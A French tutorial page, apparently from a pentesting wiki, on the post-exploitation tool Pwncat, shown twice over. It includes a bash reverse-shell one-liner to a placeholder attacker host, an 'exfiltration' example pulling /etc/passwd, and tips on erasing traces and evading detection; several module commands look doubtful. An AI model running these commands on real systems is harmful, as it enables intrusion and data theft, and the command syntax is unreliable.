Pwncat

Pwncat - Guide Complet

⚠️ Avertissement : Ce contenu est strictement destiné à un usage éducatif et éthique dans le domaine de la cybersécurité. Toute utilisation illégale ou malveillante est interdite et engage la seule responsabilité de l’utilisateur.

Introduction

Pwncat est un outil avancé de post-exploitation conçu pour simplifier la gestion des shells interactifs, l'exploitation des privilèges, et l'exécution de tâches complexes. Il combine des fonctionnalités comme l'escalade des privilèges, le transfert de fichiers, la gestion des sessions et l'exécution de modules d'exploitation.

Pwncat est particulièrement apprécié pour son approche modulaire et sa capacité à gérer efficacement les connexions persistantes.

🚀 Étape 1 : Installation de Pwncat

Installation sur Linux

Cloner le dépôt officiel :

git clone https://github.com/calebstewart/pwncat.git

Naviguer dans le répertoire :
```
cd pwncat
```
Installer les dépendances :
```
pip install .
```
Lancer Pwncat :
```
pwncat --help
```

🛠️ Étape 2 : Lancer Pwncat

1. Lancer Pwncat en Mode Serveur (Reverse Shell)

Si vous attendez une connexion depuis une cible compromise (reverse shell), lancez Pwncat en mode serveur pour écouter sur un port spécifique.

Commande :

pwncat -lp <port>

Exemple :
```
pwncat -lp 4444
```
Explication :
- -l : Met Pwncat en mode écoute (listening).
- -p : Spécifie le port d’écoute (4444 dans cet exemple).

2. Lancer Pwncat en Mode Client (Bind Shell)

Si la cible a configuré un bind shell, vous pouvez vous y connecter en mode client.

Commande :

pwncat <target_ip> <port>

Exemple :
```
pwncat 192.168.1.10 4444
```
Explication :
- <target_ip> : Adresse IP de la cible.
- <port> : Port sur lequel la cible écoute (4444 dans cet exemple).

3. Lancer Pwncat pour une Connexion SSH

Si la cible utilise SSH, vous pouvez établir une connexion SSH sécurisée.

Commande :

pwncat --ssh <username>@<target_ip> -p <port>

Exemple :
```
pwncat --ssh user@192.168.1.10 -p 22
```
Explication :
- --ssh : Spécifie une connexion SSH.
- <username> : Nom d’utilisateur pour la connexion.
- <target_ip> : Adresse IP de la cible.
- <port> : Port SSH (22 par défaut).

4. Lancer Pwncat pour une Session Persistante

Si vous souhaitez maintenir une session persistante après l’obtention d’un shell, utilisez l’option --persist.

Commande :

pwncat --persist

Explication :
- --persist : Configure un shell persistant qui se reconnecte automatiquement si la session est interrompue.

🔍 Étape 3 : Fonctionnalités Principales

1. Gestion de Réseau et de Tunnels

a) Mettre en place un Port Forwarding

Commande :

run network.port_forward local_port=8080 remote_host=192.168.1.5 remote_port=80

Explication :
- Permet de rediriger le trafic du port local 8080 vers le port 80 de la machine distante 192.168.1.5.

b) Créer un Tunnel SSH

Commande :

run network.ssh_tunnel remote_host=attacker_ip remote_port=22 local_port=8080

Explication :
- Configure un tunnel SSH sécurisé entre la machine locale et l'hôte distant via le port 22.

2. Modules de Shell et de Commandes

a) Lancer un Shell Interactif

Commande :
```
run shell.interactive
```
Explication :
- Ouvre un shell interactif sur la machine cible, permettant d’exécuter des commandes directement.

b) Uploader un Fichier vers la Cible

Commande :

run shell.upload src="/path/to/local/file" dest="/tmp/remote_file"

Explication :
- Transfère un fichier local vers la machine cible.

c) Télécharger un Fichier depuis la Cible

Commande :

run shell.download src="/tmp/remote_file" dest="/path/to/local/file"

Explication :
- Récupère un fichier de la cible vers votre machine.

3. Gestion des Sessions

a) Lister les Sessions Actives

Commande :
```
run session.list
```
Explication :
- Affiche toutes les sessions ouvertes avec leurs ID.

b) Interagir avec une Session Active

Commande :
```
run session.interact id=1
```
Explication :
- Ouvre une session active avec l’ID spécifié.

c) Terminer une Session

Commande :
```
run session.kill id=1
```
Explication :
- Termine la session active avec l’ID spécifié.

4. Escalade des Privilèges

Pwncat inclut des modules pour automatiser l'identification des vulnérabilités permettant l'escalade des privilèges.

a) Rechercher des Configurations Sudo Exploitables

Commande :
```
run escalate.sudo
```
Explication :
- Identifie les commandes sudo mal configurées pouvant être exploitées pour une escalade de privilèges.

b) Rechercher des Exploits Automatiquement

Commande :
```
run escalate.auto
```
Explication :
- Lance une recherche automatique d’exploits pour escalader les privilèges.

c) Exploiter "Dirty Sock"

Commande :
```
run exploit.dirty_sock
```
Explication :
- Exploite la vulnérabilité "Dirty Sock" présente sur certains systèmes Linux pour obtenir un accès root.

5. Modules de Développement et Personnalisation

a) Charger un Module Personnalisé

Commande :

run dev.custom_module path="/path/to/module.py"

Explication :
- Charge et exécute un module Python personnalisé.

b) Activer le Mode Débogage

Commande :
```
run dev.debug level=verbose
```
Explication :
- Fournit des informations détaillées pour déboguer ou développer des modules.

📋 Scénarios d’Utilisation

Exemple 1 : Reverse Shell avec Pwncat

Configurer Pwncat en écoute sur un port :
```
pwncat -lp 4444
```

Établir la connexion depuis la cible :

bash -c 'bash -i >& /dev/tcp/attacker_ip/4444 0>&1'

Obtenir un Shell Interactif sur la cible :
```
run shell.interactive
```

Exemple 2 : Uploader et Exécuter un Script de Post-Exploitation

Uploader un script LinPEAS :

run shell.upload src="/path/to/linpeas.sh" dest="/tmp/linpeas.sh"

Exécuter le script :

run shell.interactive
bash /tmp/linpeas.sh

Exemple 3 : Persistance et Tunnels

Configurer une session persistante :
```
pwncat --persist
```

Mettre en place un tunnel SSH pour la communication :

run network.ssh_tunnel remote_host=attacker_ip remote_port=22 local_port=8080

Exemple 4 : Uploader un Script d'Exploitation et Maintenir une Session

Uploader un script LinPEAS :

run shell.upload src="/path/to/linpeas.sh" dest="/tmp/linpeas.sh"

Exécuter le script :

run shell.interactive
bash /tmp/linpeas.sh

Maintenir une session persistante :
```
run session.list
```

Exemple 5 : Exploiter une Vulnérabilité Sudo

Rechercher les vulnérabilités Sudo :
```
run escalate.sudo
```
Si une vulnérabilité est détectée, lancer l’exploitation :
```
run exploit.sudo_vuln
```

Exemple 6 : Configurer un Tunnel pour Exfiltration de Données

Démarrer un tunnel SSH sécurisé :

run network.ssh_tunnel remote_host=attacker_ip remote_port=22 local_port=8080

Utiliser le tunnel pour exfiltrer des fichiers sensibles :
```
run shell.download src="/etc/passwd" dest="./passwd_copy"
```

📖 Bonnes Pratiques

1. Obtenir des Autorisations Légales

Toujours obtenir l’autorisation explicite avant de lancer des actions sur un système.

2. Limiter les Traces

Supprimez les fichiers téléchargés après leur utilisation :
```
rm /tmp/linpeas.sh
```

3. Automatiser les Tâches Répétitives

Utilisez des scripts personnalisés pour automatiser des actions comme l’escalade de privilèges ou le téléchargement de fichiers.

4. Éviter la Détection

Combinez Pwncat avec des outils comme obfuscate pour minimiser les alertes sur les systèmes surveillés.

Conclusion

Pwncat est un outil puissant et modulaire qui simplifie la post-exploitation et la gestion des shells interactifs. Que ce soit pour l'escalade des privilèges, le transfert de fichiers ou la gestion de sessions multiples, Pwncat s'intègre parfaitement dans les workflows des pentesters.

Liens utiles :

PrécédentPenelope SuivantRecon-ng

Dernière mise à jour il y a 3 mois

Pwncat

Pwncat - Guide Complet

Introduction

Pwncat est particulièrement apprécié pour son approche modulaire et sa capacité à gérer efficacement les connexions persistantes.

🚀 Étape 1 : Installation de Pwncat

Installation sur Linux

Cloner le dépôt officiel :

git clone https://github.com/calebstewart/pwncat.git

Naviguer dans le répertoire :
```
cd pwncat
```
Installer les dépendances :
```
pip install .
```
Lancer Pwncat :
```
pwncat --help
```

🛠️ Étape 2 : Lancer Pwncat

1. Lancer Pwncat en Mode Serveur (Reverse Shell)

Si vous attendez une connexion depuis une cible compromise (reverse shell), lancez Pwncat en mode serveur pour écouter sur un port spécifique.

Commande :

pwncat -lp <port>

Exemple :
```
pwncat -lp 4444
```
Explication :
- -l : Met Pwncat en mode écoute (listening).
- -p : Spécifie le port d’écoute (4444 dans cet exemple).

2. Lancer Pwncat en Mode Client (Bind Shell)

Si la cible a configuré un bind shell, vous pouvez vous y connecter en mode client.

Commande :

pwncat <target_ip> <port>

Exemple :
```
pwncat 192.168.1.10 4444
```
Explication :
- <target_ip> : Adresse IP de la cible.
- <port> : Port sur lequel la cible écoute (4444 dans cet exemple).

3. Lancer Pwncat pour une Connexion SSH

Si la cible utilise SSH, vous pouvez établir une connexion SSH sécurisée.

Commande :

pwncat --ssh <username>@<target_ip> -p <port>

Exemple :
```
pwncat --ssh user@192.168.1.10 -p 22
```
Explication :
- --ssh : Spécifie une connexion SSH.
- <username> : Nom d’utilisateur pour la connexion.
- <target_ip> : Adresse IP de la cible.
- <port> : Port SSH (22 par défaut).

4. Lancer Pwncat pour une Session Persistante

Si vous souhaitez maintenir une session persistante après l’obtention d’un shell, utilisez l’option --persist.

Commande :

pwncat --persist

Explication :
- --persist : Configure un shell persistant qui se reconnecte automatiquement si la session est interrompue.

🔍 Étape 3 : Fonctionnalités Principales

1. Gestion de Réseau et de Tunnels

a) Mettre en place un Port Forwarding

Commande :

run network.port_forward local_port=8080 remote_host=192.168.1.5 remote_port=80

Explication :
- Permet de rediriger le trafic du port local 8080 vers le port 80 de la machine distante 192.168.1.5.

b) Créer un Tunnel SSH

Commande :

run network.ssh_tunnel remote_host=attacker_ip remote_port=22 local_port=8080

Explication :
- Configure un tunnel SSH sécurisé entre la machine locale et l'hôte distant via le port 22.

2. Modules de Shell et de Commandes

a) Lancer un Shell Interactif

Commande :
```
run shell.interactive
```
Explication :
- Ouvre un shell interactif sur la machine cible, permettant d’exécuter des commandes directement.

b) Uploader un Fichier vers la Cible

Commande :

run shell.upload src="/path/to/local/file" dest="/tmp/remote_file"

Explication :
- Transfère un fichier local vers la machine cible.

c) Télécharger un Fichier depuis la Cible

Commande :

run shell.download src="/tmp/remote_file" dest="/path/to/local/file"

Explication :
- Récupère un fichier de la cible vers votre machine.

3. Gestion des Sessions

a) Lister les Sessions Actives

Commande :
```
run session.list
```
Explication :
- Affiche toutes les sessions ouvertes avec leurs ID.

b) Interagir avec une Session Active

Commande :
```
run session.interact id=1
```
Explication :
- Ouvre une session active avec l’ID spécifié.

c) Terminer une Session

Commande :
```
run session.kill id=1
```
Explication :
- Termine la session active avec l’ID spécifié.

4. Escalade des Privilèges

Pwncat inclut des modules pour automatiser l'identification des vulnérabilités permettant l'escalade des privilèges.

a) Rechercher des Configurations Sudo Exploitables

Commande :
```
run escalate.sudo
```
Explication :
- Identifie les commandes sudo mal configurées pouvant être exploitées pour une escalade de privilèges.

b) Rechercher des Exploits Automatiquement

Commande :
```
run escalate.auto
```
Explication :
- Lance une recherche automatique d’exploits pour escalader les privilèges.

c) Exploiter "Dirty Sock"

Commande :
```
run exploit.dirty_sock
```
Explication :
- Exploite la vulnérabilité "Dirty Sock" présente sur certains systèmes Linux pour obtenir un accès root.

5. Modules de Développement et Personnalisation

a) Charger un Module Personnalisé

Commande :

run dev.custom_module path="/path/to/module.py"

Explication :
- Charge et exécute un module Python personnalisé.

b) Activer le Mode Débogage

Commande :
```
run dev.debug level=verbose
```
Explication :
- Fournit des informations détaillées pour déboguer ou développer des modules.

📋 Scénarios d’Utilisation

Exemple 1 : Reverse Shell avec Pwncat

Configurer Pwncat en écoute sur un port :
```
pwncat -lp 4444
```

Établir la connexion depuis la cible :

bash -c 'bash -i >& /dev/tcp/attacker_ip/4444 0>&1'

Obtenir un Shell Interactif sur la cible :
```
run shell.interactive
```

Exemple 2 : Uploader et Exécuter un Script de Post-Exploitation

Uploader un script LinPEAS :

run shell.upload src="/path/to/linpeas.sh" dest="/tmp/linpeas.sh"

Exécuter le script :

run shell.interactive
bash /tmp/linpeas.sh

Exemple 3 : Persistance et Tunnels

Configurer une session persistante :
```
pwncat --persist
```

Mettre en place un tunnel SSH pour la communication :

run network.ssh_tunnel remote_host=attacker_ip remote_port=22 local_port=8080

Exemple 4 : Uploader un Script d'Exploitation et Maintenir une Session

Uploader un script LinPEAS :

run shell.upload src="/path/to/linpeas.sh" dest="/tmp/linpeas.sh"

Exécuter le script :

run shell.interactive
bash /tmp/linpeas.sh

Maintenir une session persistante :
```
run session.list
```

Exemple 5 : Exploiter une Vulnérabilité Sudo

Rechercher les vulnérabilités Sudo :
```
run escalate.sudo
```
Si une vulnérabilité est détectée, lancer l’exploitation :
```
run exploit.sudo_vuln
```

Exemple 6 : Configurer un Tunnel pour Exfiltration de Données

Démarrer un tunnel SSH sécurisé :

run network.ssh_tunnel remote_host=attacker_ip remote_port=22 local_port=8080

Utiliser le tunnel pour exfiltrer des fichiers sensibles :
```
run shell.download src="/etc/passwd" dest="./passwd_copy"
```

📖 Bonnes Pratiques

1. Obtenir des Autorisations Légales

Toujours obtenir l’autorisation explicite avant de lancer des actions sur un système.

2. Limiter les Traces

Supprimez les fichiers téléchargés après leur utilisation :
```
rm /tmp/linpeas.sh
```

3. Automatiser les Tâches Répétitives

Utilisez des scripts personnalisés pour automatiser des actions comme l’escalade de privilèges ou le téléchargement de fichiers.

4. Éviter la Détection

Combinez Pwncat avec des outils comme obfuscate pour minimiser les alertes sur les systèmes surveillés.

Conclusion

Liens utiles :

PrécédentPenelope SuivantRecon-ng

Dernière mise à jour il y a 3 mois